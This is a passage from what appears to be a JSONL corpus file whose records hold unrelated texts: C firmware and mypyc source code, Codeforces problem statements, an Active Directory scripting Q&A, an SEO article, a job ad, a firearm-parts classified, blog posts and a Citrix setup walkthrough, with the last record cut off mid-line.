dt_get_chip_id(xn);\n\t\tconst struct dt_property *reg;\n\t\tstruct proc_chip *chip;\n\t\tconst char *chip_name;\n\t\tstatic const char *chip_names[] = {\n\t\t\t\"UNKNOWN\", \"P7\", \"P7+\", \"P8E\", \"P8\", \"P8NVL\", \"P9N\", \"P9C\"\n\t\t};\n\n\t\tchip = get_chip(gcid);\n\t\tassert(chip);\n\n\t\t/* XXX We need a proper address parsing. For now, we just\n\t\t * \"know\" that we are looking at a u64\n\t\t */\n\t\treg = dt_find_property(xn, \"reg\");\n\t\tassert(reg);\n\n\t\tchip->xscom_base = dt_translate_address(xn, 0, NULL);\n\n\t\t/* Grab processor type and EC level */\n\t\txscom_init_chip_info(chip);\n\n\t\tif (chip->type >= ARRAY_SIZE(chip_names))\n\t\t\tchip_name = \"INVALID\";\n\t\telse\n\t\t\tchip_name = chip_names[chip->type];\n\n\t\tprintf(\"XSCOM: chip 0x%x at 0x%llx [%s DD%x.%x]\\n\",\n\t\t       gcid, chip->xscom_base,\n\t\t       chip_name,\n\t\t       chip->ec_level >> 4,\n\t\t       chip->ec_level & 0xf);\n\t}\n\n\t/* Collect details to trigger xstop via XSCOM write */\n\tp = dt_find_property(dt_root, \"ibm,sw-checkstop-fir\");\n\tif (p) {\n\t\txstop_xscom.addr = dt_property_get_cell(p, 0);\n\t\txstop_xscom.fir_bit = dt_property_get_cell(p, 1);\n\t\tprlog(PR_INFO, \"XSTOP: XSCOM addr = 0x%llx, FIR bit = %lld\\n\",\n\t\t\t\t\txstop_xscom.addr, xstop_xscom.fir_bit);\n\t} else\n\t\tprlog(PR_INFO, \"XSTOP: ibm,sw-checkstop-fir prop not found\\n\");\n}\n\nvoid xscom_used_by_console(void)\n{\n\txscom_lock.in_con_path = true;\n\n\t/*\n\t * Some other processor might hold it without having\n\t * disabled the console locally so let's make sure that\n\t * is over by taking/releasing the lock ourselves\n\t */\n\tlock(&xscom_lock);\n\tunlock(&xscom_lock);\n}\n\nbool xscom_ok(void)\n{\n\treturn !lock_held_by_me(&xscom_lock);\n}", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Download the app and sign up with your Facebook, Google, or Apple account!\nCategories are tags for topics that come up often. A given category appears in the main feed whenever there are new relevant articles. You can get custom alerts for categories just like any other tag.\nThe Tag Cloud shows the hashtags that are currently trending, with the most popular ones appearing near the top in the largest font.\nTo follow a hashtag, tap on one anywhere to navigate to the tag page showing the articles for that tag. Then, tap the bell in the upper right to set your custom alerts for that tag.\nLux indicates how many people have upvoted a story to indicate that it's important, whether good or bad news.\nYou can open a full article in a browser window by tapping the short link in the bottom left of any article listing or by tapping the three dots in the upper right and selecting \"Open in browser\" from the menu.\nWith the Luxihd app on your device, go to the article you want to share in your browser. Then tap the Luxihd button from the share menu and tap submit!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 230, "token_count_with_eod": 231, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "// Bytes primitive operations\n//\n// These are registered in mypyc.primitives.bytes_ops.\n\n#include <Python.h>\n#include \"CPy.h\"\n\nCPyTagged CPyBytes_GetItem(PyObject *o, CPyTagged index) {\n    if (CPyTagged_CheckShort(index)) {\n        Py_ssize_t n = CPyTagged_ShortAsSsize_t(index);\n        Py_ssize_t size = ((PyVarObject *)o)->ob_size;\n        if (n < 0)\n            n += size;\n        if (n < 0 || n >= size) {\n            PyErr_SetString(PyExc_IndexError, \"index out of range\");\n            return CPY_INT_TAG;\n        }\n        unsigned char num = PyBytes_Check(o) ? ((PyBytesObject *)o)->ob_sval[n]\n                                             : ((PyByteArrayObject *)o)->ob_bytes[n];\n        return num << 1;\n    } else {\n        PyErr_SetString(PyExc_OverflowError, CPYTHON_LARGE_INT_ERRMSG);\n        return CPY_INT_TAG;\n    }\n}\n\nPyObject *CPyBytes_Concat(PyObject *a, PyObject *b) {\n    if (PyBytes_Check(a) && PyBytes_Check(b)) {\n        Py_ssize_t a_len = ((PyVarObject *)a)->ob_size;\n        Py_ssize_t b_len = ((PyVarObject *)b)->ob_size;\n        PyBytesObject *ret = (PyBytesObject *)PyBytes_FromStringAndSize(NULL, a_len + b_len);\n        if (ret != NULL) {\n            memcpy(ret->ob_sval, ((PyBytesObject *)a)->ob_sval, a_len);\n            memcpy(ret->ob_sval + a_len, ((PyBytesObject *)b)->ob_sval, b_len);\n        }\n        return (PyObject *)ret;\n    } else if (PyByteArray_Check(a)) {\n        return PyByteArray_Concat(a, b);\n    } else {\n        PyBytes_Concat(&a, b);\n        return a;\n    }\n}\n\nstatic inline Py_ssize_t Clamp(Py_ssize_t a, Py_ssize_t b, Py_ssize_t c) {\n    return a < b ? b : (a >= c ? c : a);\n}\n\nPyObject *CPyBytes_GetSlice(PyObject *obj, CPyTagged start, CPyTagged end) {\n    if ((PyBytes_Check(obj) || PyByteArray_Check(obj))\n            && CPyTagged_CheckShort(start) && CPyTagged_CheckShort(end)) {\n        Py_ssize_t startn = CPyTagged_ShortAsSsize_t(start);\n        Py_ssize_t endn = CPyTagged_ShortAsSsize_t(end);\n        Py_ssize_t len = ((PyVarObject *)obj)->ob_size;\n        if (startn < 0) {\n            startn += len;\n        }\n        if (endn < 0) {\n            endn += len;\n        }\n        startn = Clamp(startn, 0, len);\n        endn = Clamp(endn, 0, len);\n        Py_ssize_t slice_len = endn - startn;\n        if (PyBytes_Check(obj)) {\n            return PyBytes_FromStringAndSize(PyBytes_AS_STRING(obj) + startn, slice_len);\n        } else {\n            return PyByteArray_FromStringAndSize(PyByteArray_AS_STRING(obj) + startn, slice_len);\n        }\n    }\n    return CPyObject_GetSlice(obj, start, end);\n}\n\n// Like _PyBytes_Join but fallback to dynamic call if 'sep' is not bytes\n// (mostly commonly, for bytearrays)\nPyObject *CPyBytes_Join(PyObject *sep, PyObject *iter) {\n    if (PyBytes_CheckExact(sep)) {\n        return _PyBytes_Join(sep, iter);\n    } else {\n        _Py_IDENTIFIER(join);\n        return _PyObject_CallMethodIdOneArg(sep, &PyId_join, iter);\n    }\n}", "source": "cpt_stack_code", "language": "code", "token_count": 902, "token_count_with_eod": 903, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Berland is a tourist country! At least, it can become such — the government of Berland is confident about this.\n\nThere are n cities in Berland, some pairs of which are connected by two-ways roads. Each road connects two different cities. In Berland there are no roads which connect the same pair of cities. It is possible to get from any city to any other city using given two-ways roads.\n\nAccording to the reform each road will become one-way. It will be oriented to one of two directions.\n\nTo maximize the tourist attraction of Berland, after the reform for each city i the value ri will be calculated. It will equal to the number of cities x for which there is an oriented path from the city i to the city x. In other words, ri will equal the number of cities which can be reached from the city i by roads.\n\nThe government is sure that tourist's attention will be focused on the minimum value of ri.\n\nHelp the government of Berland make the reform to maximize the minimum of ri.", "source": "cpt_codeforces", "language": "en", "token_count": 217, "token_count_with_eod": 218, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Conveyor matrix $$$m_n$$$ is matrix of size $$$n \\times n$$$, where $$$n$$$ is an even number. The matrix consists of concentric ribbons moving clockwise.\n\nIn other words, the conveyor matrix for $$$n = 2$$$ is simply a matrix $$$2 \\times 2$$$, whose cells form a cycle of length $$$4$$$ clockwise. For any natural $$$k \\ge 2$$$, the matrix $$$m_{2k}$$$ is obtained by adding to the matrix $$$m_{2k - 2}$$$ an outer layer forming a clockwise cycle.\n\nThe conveyor matrix $$$8 \\times 8$$$.\n\nYou are standing in a cell with coordinates $$$x_1, y_1$$$ and you want to get into a cell with coordinates $$$x_2, y_2$$$. A cell has coordinates $$$x, y$$$ if it is located at the intersection of the $$$x$$$th row and the $$$y$$$th column.\n\nStanding on some cell, every second you will move to the cell next in the direction of movement of the tape on which you are. You can also move to a neighboring cell by spending one unit of energy. Movements happen instantly and you can make an unlimited number of them at any time.\n\nYour task is to find the minimum amount of energy that will have to be spent to get from the cell with coordinates $$$x_1, y_1$$$ to the cell with coordinates $$$x_2, y_2$$$.\n\nFor example, $$$n=8$$$ initially you are in a cell with coordinates $$$1,3$$$ and you want to get into a cell with coordinates $$$6, 4$$$. You can immediately make $$$2$$$ movements, once you are in a cell with coordinates $$$3, 3$$$, and then after $$$8$$$ seconds you will be in the right cell.", "source": "cpt_codeforces", "language": "en", "token_count": 389, "token_count_with_eod": 390, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Do you have a scripting-related question or problem? You can send your question or problem to [email protected].\nFor monitoring and reporting purposes, I need to know how many leaf (aka child) objects are in several of our Active Directory (AD) containers. I tried using the Active Directory Service Interfaces (ADSI) Count property in the script that Listing 1 shows, but this script fails with the error message C:\\Scripts\\Listing1.vbs(2, 1) Active Directory: Not implemented. How can I determine the number of objects in our AD containers?\nAs the error message suggests, the reason your script is failing is because the Count property isn't implemented by ADSI's LDAP provider, which means you can't use the property to determine the number of leaf objects in an AD container. You can work around the problem several ways. However, each solution has its drawbacks. The workarounds to count objects in an AD container include\n- using a For Each...Next statement combined with a counter variable to enumerate and count the objects in the container\n- using ADSI's ADsDSOObject provider (i.e., the OLE DB provider) to perform an ADO search, then using the ADO Command object's RecordSet.RecordCount property to read the number of records that the search returned\n- using the new Windows Server 2003 attribute named msDS-Approx-Immed-Subordinates\nListing 2 demonstrates how to use the For Each...Next loop, which is also known as an enumerator, to count leaf objects. The script begins by initializing the counter variable named intContainerCount to 0. The script then binds to the target container and enumerates the objects in that container. During each iteration of the For Each...Next loop, intContainerCount increases by 1. After the loop finishes, the script echoes the total.\nAlthough Listing 2 gets the job done, the script isn't particularly directory or network friendly when you run it remotely. Furthermore, it can be painfully slow when enumerating containers that contain hundreds of thousands of objects.\nListing 3 demonstrates how to use an ADO query coupled with the ADO Command object's RecordSet.RecordCount property to determine the number of objects in an AD container. Although Listing 3 is slightly more directory- and network-friendly than Listing 2, you'll be disappointed to learn that Listing 3 is almost as slow as Listing 2 because of the way in which the RecordCount property works. When the script reads the RecordCount property, as callout A in Listing 3 shows, the recordset is enumerated under the covers. The net result is identical to that of Listing 2 for all practical purposes. If you're curious why I subtracted 1 in the code at callout A, I did so to compensate for the base container being returned as part of the query results. Including the base container is typical for a Lightweight Directory Access Protocol (LDAP) query in which the scope is set to OneLevel, as is the case with Listing 3.\nAccording to the AD software development kit (SDK), you can use Windows 2003's new msDS-Approx-Immed-Subordinates attribute \"to assist the UI with determining how to display the contents of a container.\" However, the SDK goes on to say the attribute's value can be off by as much as 10 percent on large containers. My experience with msDS-Approx-Immed-Subordinates has been even worse. I've seen the attribute's value off by as much as 30 percent on a container with 100,000 objects. If you need an accurate count, don't use this attribute.\nSo, you have two accurate but slow solutions and one inaccurate solution. Which one, if any, should you use? If time isn't a concern (i.e., you can afford to let the script run for several hours, if necessary) and you don't need real-time statistics, I suggest that you use Listing 2. I also suggest that you schedule this script to run during nonpeak hours. If time is crucial or you need real-time statistics, you're going to have to be a bit more creative or use a third-party solution.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 875, "token_count_with_eod": 876, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Subject: Re: [xsl] Ranking Random Nodes from Top to Bottom|\nFrom: Abel Braaksma <abel.online@xxxxxxxxx>\nDate: Fri, 17 Aug 2007 15:30:47 +0200\nI was thinking of the determining the string length from root to a particular node, and store that as output in the output file using XSLT. Then post-process it in Python to rank the paths into document order, where the lowest number appears on top and the highest number at the bottom. Does that make any sense?\nCheers, -- Abel Braaksma", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "-CAR Stock/1911 Bushing Wrench-Heat treated-$1.75 each\n-Green Followers-USGI-30 rnders-$10.00 a dozen\n-Next Generation 30 rnd replacement spring. Made of Chrome Silicon wire which is a 1000x more memory than the standard 17-7 stainless wire. Load a magazine and these will last 20 years. Also have a zinc phosphate(parkerized) finish.No longer worry about water effects. No longer have to under load your mags…-$6.95 each. Quantity discounts available.\n-Accuwedges for any AR-15/M16 Weapons System. $10.95a dozen.\n-First Samco M33 Handguard w/2 picatinny rails and covers-$ 65.00\n-First Samco M44 4-Sided Handguards –with rail covers-Full sized or Carbine-$109.95\n-We take all major credit cards , Paypal , checks, money orders. Shipping and handling $5.50 and can be combined on multiple orders. Visit our site for many other items..\n-Quantity orders contact at once!\n-Any questions contact at once.\nPO Box 134\nPalenville ,NY 12463", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 285, "token_count_with_eod": 286, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A month ago, I interview Gary Illyes at Marketing Land and covered this bit at Search Engine Land but it got lost. In short, Gary Illyes from Google said that machine learning and artificial intelligence within the search algorithm can be used to make new ranking signals.\nHe said that Google can use it to say if you combine ranking signal A with ranking signal B, we can make a new ranking signal C that helps improve quality of the search results.\nHere is that transcript bit:\nDanny Sullivan: Yeah. What is it, what are you doing with machine learning? Like, so when you say it’s not being used in the core algorithm. So no one’s getting fired. The machines haven’t taken over the algorithm, you guys are still using an algorithm. You still have people trying to figure out the best way to process signals, and then what do you do with the machine learning; is [it] part of that?\nGary Illyes: They are typically used for coming up with new signals and signal aggregations. So basically, let’s say that this is a random example and not know if this is real, but let’s say that I would want to see if combining PageRank with Panda and whatever else, I don’t know, token frequency.\nIf combining those three in some way would result in better ranking, and for that for example, we could easily use machine learning. And then create the new composite signal. That would be one example.\nThe other example would be RankBrain, where… which re-ranks based on based on historical signals.\nBut that also is, if you, if you think about it, it’s also a composite signal.\nIt’s using several signals to come up with a new multiplier for the results that are already ranked by the core algorithm.\nHere is the audio for that part of the interview:\nGary did not say if Google does do this now but said they can do this. Are they? What do you think?\nForum discussion at Twitter.\nGo to Source\nAuthor: firstname.lastname@example.org (Barry Schwartz)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 431, "token_count_with_eod": 432, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You will be working alongside our Machine Learning Lead to further expand our algorithm creation and data modelling, building and operating large data sets and deploying solutions on AWS amongst many other things.\nJumping into an environment that always has the potential to expand, grow and incorporate changes as the datasets increase. If you love open parameters, can create and have vision – this is for you!\nIdeally, you’ll bring over 3 years of experience in the ML field. Through either analysis work, previous results/failures, you’ll hopefully have put some ML models into production and know what it means to fail hard.\nYou’ll possess a solid understanding of Data Engineering & Data Cleaning, have a keen eye for detail skills in data quality, data cleansing and data validation.\nYou will also be very comfortable with scripting, working with Computer Vision and working with unstructured data (JSON).\n- Python (ideally proficient in Numpy, Pandas & Multiprocessing / Multithreading)\n- Computer Vision – OpenCV, Python Image Library (PIL/Pillow)\n- SQL (Postgres) & NoSQL (Mongo)\n- Tensorflow or Keras or Pytorch\n- Jupyter Labs or Notebooks\n- Sagemaker or AWS.\n- Computer Science experience – Object-Oriented Programming, REST API / Comms, Unit / System and Black Box Testing.\nNon-Essential (but desirable)\n- Docker / Kubernetes\nYou will have completed a Computer Science degree with potentially either a Masters or PhD in Data Science.\nWhat you’ll get in return:\nExcellent working conditions with a collaborative, focused and social team.\nYou will be rewarded very well for your efforts and given all you need to succeed!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 353, "token_count_with_eod": 354, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Stellar can be used to build sophisticated smart contracts. Smart contracts are computer programs that can automatically execute an agreement based on programmed logic.\nThe concept of integrating technology and legal contracts dates back to the 1950s when scholars built computational methods that could enforce legal rules without involving traditional legal processes. Smart contracts were formally defined by Nick Szabo in 1997:\nSmart contracts combine protocols with user interfaces to formalize and secure relationships over computer networks. Objectives and principles for the design of these systems are derived from legal principles, economic theory, and theories of reliable and secure protocols.\nIn recent years, blockchain technology has enabled a new breed of smart contracts with immutable storage of agreement terms, cryptographic authorization, and integrated transfers of value.\nFor the Stellar Network, smart contracts are manifested as Stellar Smart Contracts. A Stellar Smart Contract (SSC) is expressed as compositions of transactions that are connected and executed\nOriginal URL: http://feedproxy.google.com/~r/feedsapi/BwPx/~3/CwCb2N1gUL8/stellar-smart-contracts.html", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "13 April 2012\nThis show was released on Friday 13 April 2012; its running time is 00:47:19.\nSegment 0 (00:35)\nBradley and Karen introduce Michael's talk.\nSegment 1 (01:56)\nSegment 2 (26:47)\n- Bradley mentioned GNU Mediagoblin as an example of a true upstream multi-copyright-holder AGPLv3'd project. (28:10)\n- Bradley mentioned that LibreOffice is “wealthy” as well by Michael Meeks standards, given their successful fundraisers. (29:38)\n- Bradley mentioned the Desktop Summit panel that he and Michael were on and Karen moderated. (34:06)\n- Bradley and Michael co-authored (with Vincent Untz) the GNOME Copyright Assignment Guidelines. (35:30)\n- FSF was previously supportive of MySQL AB back in 2002, but Michael also used to support the Sun JCA. (38:20)", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "7 July, 2007\nFlood of angst\nWith a very few isolated exceptions, I've never been a fan of computer games. However, a friend at work recently lent me 'Halo' to follow-up a conversation we'd been having.\nIt's enjoyable enough, I suppose, if repetitive, and once I'd mastered the control system I soon found myself drawn into finding the optimum tactics, angles, etc., though I still don't quite 'get' FPS games – I prefer something more strategic or, well, intellectually-challenging. Yet I also found it somewhat disturbing.\nThe dominant feeling I was left with after each session was immense loneliness (not something to which I'm generally prone). Almost by definition, the only other entities in the game world were enemies, and the only interractions via a gun or grenade. It's all so... well, it goes beyond 'cold' or 'sterile'; I received an impression of massive emptiness.\nThis was the standalone 'narrative campaign' version, of course; there's also the networked 'player vs. player' mode, which is apparently the source of the game's true longevity. Somehow I think that'd be worse. I don't want to kill my friends.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 260, "token_count_with_eod": 261, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Little girl Alyona is in a shop to buy some copybooks for school. She study four subjects so she wants to have equal number of copybooks for each of the subjects. There are three types of copybook's packs in the shop: it is possible to buy one copybook for a rubles, a pack of two copybooks for b rubles, and a pack of three copybooks for c rubles. Alyona already has n copybooks.\n\nWhat is the minimum amount of rubles she should pay to buy such number of copybooks k that n + k is divisible by 4? There are infinitely many packs of any type in the shop. Alyona can buy packs of different type in the same purchase.", "source": "cpt_codeforces", "language": "en", "token_count": 148, "token_count_with_eod": 149, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "The Rockafeller Habits come from an author named Verne Harnish (2002). He's more of the Peter Drucker School of helping hierarchy live with itself but has some very useful tips. Here you go:\n1. Habits List\nSpringest.nl is definitely using OKRs and has a \"BGAH\" (big hairy audacious goal) and maybe daily standups. Ruben would be good to talk to here.\nIf you don't know it I recommend looking at something a VIISI employee (Marc-Peter) introduced me to which is running Holacracy with the \"Eisenhower Matrix\". It's very Stephen Covey and has helped our team on a weekly basis with our A over B over C prioritization for Lead Link Heuristics and standups.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 166, "token_count_with_eod": 167, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "After setting up the delivery controller and configuring storefront to allow the HTML5 Receiver it is finally time to add a desktop to the mix.\nIn this step by step article we will be adding a single desktop in “remote PC access mode”. this means that XenDesktop wont power manage the desktop and we wont be able to mass deploy it (its not a golden image).\nThis might sound a little disappointing but its good for the basics, if your setting up a lab environment you probably want it this way because its way more flexible and when you have your image the way you want it, you can always re add it with a differed configuration.\nLets get started.\nWe start by installing the XenDesktop VDI agent on the VM. In my setup this is a Widows 10 VM but you can use all supported versions (7 to 10 at this time) and even some Linux distro’s!\nNow were able to select features, everyone wants to optimize performance so that will be an easy pick 😉 . Remote assistance is needed if we want to use the shadow functionality from Citrix Director. Real-Time audio kind of explains itself. Framehawk is new transport protocol optimized for low bandwidth WAN connections. In my case I want everything but Framehawk.\nNow were done on the VDI side of things. We will continue the operation on the delivery controller with Citrix Studio.\nFor some strange reason I forgot to take a screenshot of the Summary page. Luckily the summery page displays no new information.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 308, "token_count_with_eod": 309, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/*\n   PowerShell Desired State Configuration for Linux\n\n   Copyright (c) Microsoft Corporation\n\n   All rights reserved. \n\n   MIT License\n\n   Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"\"Software\"\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\n   The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\n   THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n*/\n\n#include <MI.h>\n#if !defined(_MSC_VER)\n#include <common/linux/sal.h>\n#endif\n#include \"strings.h\"\n\n#define MI_STR_ID_UNKNOWN_PRAGMA                    MI_STR(STR_ID_UNKNOWN_PRAGMA)\n#define MI_STR_ID_CLASS_ALREADY_DEFINED        \t    MI_STR(STR_ID_CLASS_ALREADY_DEFINED)\n#define MI_STR_ID_UNDEFINED_SUPERCLASS        \t    MI_STR(STR_ID_UNDEFINED_SUPERCLASS)\n#define MI_STR_ID_CLASS_FEATURE_ALREADY_DEFINED     MI_STR(STR_ID_CLASS_FEATURE_ALREADY_DEFINED)\n#define MI_STR_ID_DUPLICATE_QUALIFIER        \t    MI_STR(STR_ID_DUPLICATE_QUALIFIER)\n#define MI_STR_ID_UNDEFINED_QUALIFIER        \t    MI_STR(STR_ID_UNDEFINED_QUALIFIER)\n#define MI_STR_ID_MISSING_QUALIFIER_INITIALIZER     MI_STR(STR_ID_MISSING_QUALIFIER_INITIALIZER)\n#define MI_STR_ID_INVALID_QUALIFIER_INITIALIZER     MI_STR(STR_ID_INVALID_QUALIFIER_INITIALIZER)\n#define MI_STR_ID_INVALID_INITIALIZER        \t    MI_STR(STR_ID_INVALID_INITIALIZER)\n#define MI_STR_ID_UNDEFINED_CLASS        \t    MI_STR(STR_ID_UNDEFINED_CLASS)\n#define MI_STR_ID_IGNORED_INITIALIZER        \t    MI_STR(STR_ID_IGNORED_INITIALIZER)\n#define MI_STR_ID_PARAMETER_ALREADY_DEFINED         MI_STR(STR_ID_PARAMETER_ALREADY_DEFINED)\n#define MI_STR_ID_ILLEGAL_ARRAY_SUBSCRIPT           MI_STR(STR_ID_ILLEGAL_ARRAY_SUBSCRIPT)\n#define MI_STR_ID_INCOMPATIBLE_FLAVORS              MI_STR(STR_ID_INCOMPATIBLE_FLAVORS)\n#define MI_STR_ID_INITIALIZER_OUT_OF_RANGE          MI_STR(STR_ID_INITIALIZER_OUT_OF_RANGE)\n#define MI_STR_ID_INTERNAL_ERROR        \t    MI_STR(STR_ID_INTERNAL_ERROR)\n#define MI_STR_ID_QUALIFIER_ALREADY_DECLARED        MI_STR(STR_ID_QUALIFIER_ALREADY_DECLARED)\n#define MI_STR_ID_WRONG_TYPE_FOR_QUALIFIER          MI_STR(STR_ID_WRONG_TYPE_FOR_QUALIFIER)\n#define MI_STR_ID_OUT_OF_MEMORY        \t    MI_STR(STR_ID_OUT_OF_MEMORY)\n#define MI_STR_ID_ILLEGAL_QUALIFIER_OVERRIDE        MI_STR(STR_ID_ILLEGAL_QUALIFIER_OVERRIDE)\n#define MI_STR_ID_KEY_MUTATION_ERROR        \t    MI_STR(STR_ID_KEY_MUTATION_ERROR)\n#define MI_STR_ID_KEY_TYPE_MUTATION_ERROR           MI_STR(STR_ID_KEY_TYPE_MUTATION_ERROR)\n#define MI_STR_ID_KEY_STRUCTURE_MUTATION_ERROR      MI_STR(STR_ID_KEY_STRUCTURE_MUTATION_ERROR)\n#define MI_STR_ID_UNKNOWN_QUALIFIER                 MI_STR(STR_ID_UNKNOWN_QUALIFIER)\n#define MI_STR_ID_ILLEGAL_SCOPE_FOR_QUALIFIER       MI_STR(STR_ID_ILLEGAL_SCOPE_FOR_QUALIFIER)\n#define MI_STR_ID_PROPERTY_CONSTRAINT_FAILURE       MI_STR(STR_ID_PROPERTY_CONSTRAINT_FAILURE)\n#define MI_STR_ID_PROPERTY_QUALIFIER_INCOMPATIBLE   MI_STR(STR_ID_PROPERTY_QUALIFIER_INCOMPATIBLE)\n#define MI_STR_ID_OVERRIDE_QUALIFIER_NAME_MISMATCH  MI_STR(STR_ID_OVERRIDE_QUALIFIER_NAME_MISMATCH)\n#define MI_STR_ID_UNDEFINED_CLASS_IN_EMBEDDEDINSTANCE_QUALIFIER     MI_STR(STR_ID_UNDEFINED_CLASS_IN_EMBEDDEDINSTANCE_QUALIFIER)\n#define MI_STR_ID_UNTERMINATED_STRING_LITERAL       MI_STR(STR_ID_UNTERMINATED_STRING_LITERAL)\n#define MI_STR_ID_ILLEGAL_HEX_CHARACTER        \t    MI_STR(STR_ID_ILLEGAL_HEX_CHARACTER)\n#define MI_STR_ID_INTEGER_OVERFLOW        \t    MI_STR(STR_ID_INTEGER_OVERFLOW)\n#define MI_STR_ID_ILLEGAL_BINARY_LITERAL            MI_STR(STR_ID_ILLEGAL_BINARY_LITERAL)\n#define MI_STR_ID_MOF_STACK_OVERFLOW        \t    MI_STR(STR_ID_MOF_STACK_OVERFLOW)\n#define MI_STR_ID_MOF_STACK_UNDERFLOW        \t    MI_STR(STR_ID_MOF_STACK_UNDERFLOW)\n#define MI_STR_ID_FAILED_TO_READ_INCLUDE_FILE       MI_STR(STR_ID_FAILED_TO_READ_INCLUDE_FILE)\n#define MI_STR_ID_SYNTAX_ERROR                      MI_STR(STR_ID_SYNTAX_ERROR)\n#define MI_STR_ID_PARSER_STACK_OVERFLOW             MI_STR(STR_ID_PARSER_STACK_OVERFLOW)\n#define MI_STR_ID_STREAM_QUALIFIER_ON_NON_ARRAY     MI_STR(STR_ID_STREAM_QUALIFIER_ON_NON_ARRAY)\n#define MI_STR_ID_STREAM_QUALIFIER_ON_NON_OUTPUT    MI_STR(STR_ID_STREAM_QUALIFIER_ON_NON_OUTPUT)\n#define MI_STR_ID_UNDEFINED_PROPERTY                MI_STR(STR_ID_UNDEFINED_PROPERTY)\n#define MI_STR_ID_ERROR_DETAILS                     MI_STR(STR_ID_ERROR_DETAILS)\n#define MI_STR_ID_ERROR_DETAILS_INCLUDED_FILE       MI_STR(STR_ID_ERROR_DETAILS_INCLUDED_FILE)\n#define MI_STR_ID_ERROR_DETAILS_CONTENT             MI_STR(STR_ID_ERROR_DETAILS_CONTENT)\n#define MI_STR_ID_UNDEFINED_INSTANCE_ALIAS          MI_STR(STR_ID_UNDEFINED_INSTANCE_ALIAS)\n#define MI_STR_ID_CONVERT_PROPERTY_VALUE_FAILED     MI_STR(STR_ID_CONVERT_PROPERTY_VALUE_FAILED)\n#define MI_STR_ID_MI_CREATEINSTANCE_FAILED          MI_STR(STR_ID_MI_CREATEINSTANCE_FAILED)\n#define MI_STR_ID_MI_SET_PROPERTY_FAILED            MI_STR(STR_ID_MI_SET_PROPERTY_FAILED)\n#define MI_STR_ID_MI_ADD_PROPERTY_FAILED            MI_STR(STR_ID_MI_ADD_PROPERTY_FAILED)\n#define MI_STR_ID_ALIAS_DECL_ALREADY_DEFINED        MI_STR(STR_ID_ALIAS_DECL_ALREADY_DEFINED)\n\n#define MI_STR_ID_SYNTAX_ERROR_INVALID_ALIAS_DECL   MI_STR(STR_ID_SYNTAX_ERROR_INVALID_ALIAS_DECL)\n#define MI_STR_ID_SYNTAX_ERROR_INVALID_COMMENT      MI_STR(STR_ID_SYNTAX_ERROR_INVALID_COMMENT)\n#define MI_STR_ID_SYNTAX_ERROR_INVALID_TOKEN        MI_STR(STR_ID_SYNTAX_ERROR_INVALID_TOKEN)\n#define MI_STR_ID_SYNTAX_ERROR_INCOMPLETE_STRING_VALUE  MI_STR(STR_ID_SYNTAX_ERROR_INCOMPLETE_STRING_VALUE)\n#define MI_STR_ID_SYNTAX_ERROR_INVALID_CHAR16_VALUE     MI_STR(STR_ID_SYNTAX_ERROR_INVALID_CHAR16_VALUE)\n#define MI_STR_ID_SYNTAX_ERROR_INVALID_ESCAPED_CHAR16_VALUE     MI_STR(STR_ID_SYNTAX_ERROR_INVALID_ESCAPED_CHAR16_VALUE)\n#define MI_STR_ID_SYNTAX_ERROR_INVALID_ESCAPED_CHAR     MI_STR(STR_ID_SYNTAX_ERROR_INVALID_ESCAPED_CHAR)\n#define MI_STR_ID_SYNTAX_ERROR_INCOMPLETE_ESCAPED_CHAR16_VALUE  MI_STR(STR_ID_SYNTAX_ERROR_INCOMPLETE_ESCAPED_CHAR16_VALUE)\n#define MI_STR_ID_SYNTAX_ERROR_INVALID_NUMBER_VALUE     MI_STR(STR_ID_SYNTAX_ERROR_INVALID_NUMBER_VALUE)\n\n#define MI_STR_ID_CREATE_PARSER_FAILED              MI_STR(STR_ID_CREATE_PARSER_FAILED)\n\n#define MI_STR_ID_PARAMETER_INVALID_OPTIONS_VALUE              MI_STR(STR_ID_PARAMETER_INVALID_OPTIONS_VALUE)\n#define MI_STR_ID_PARAMETER_INVALID_VALUE_STRING               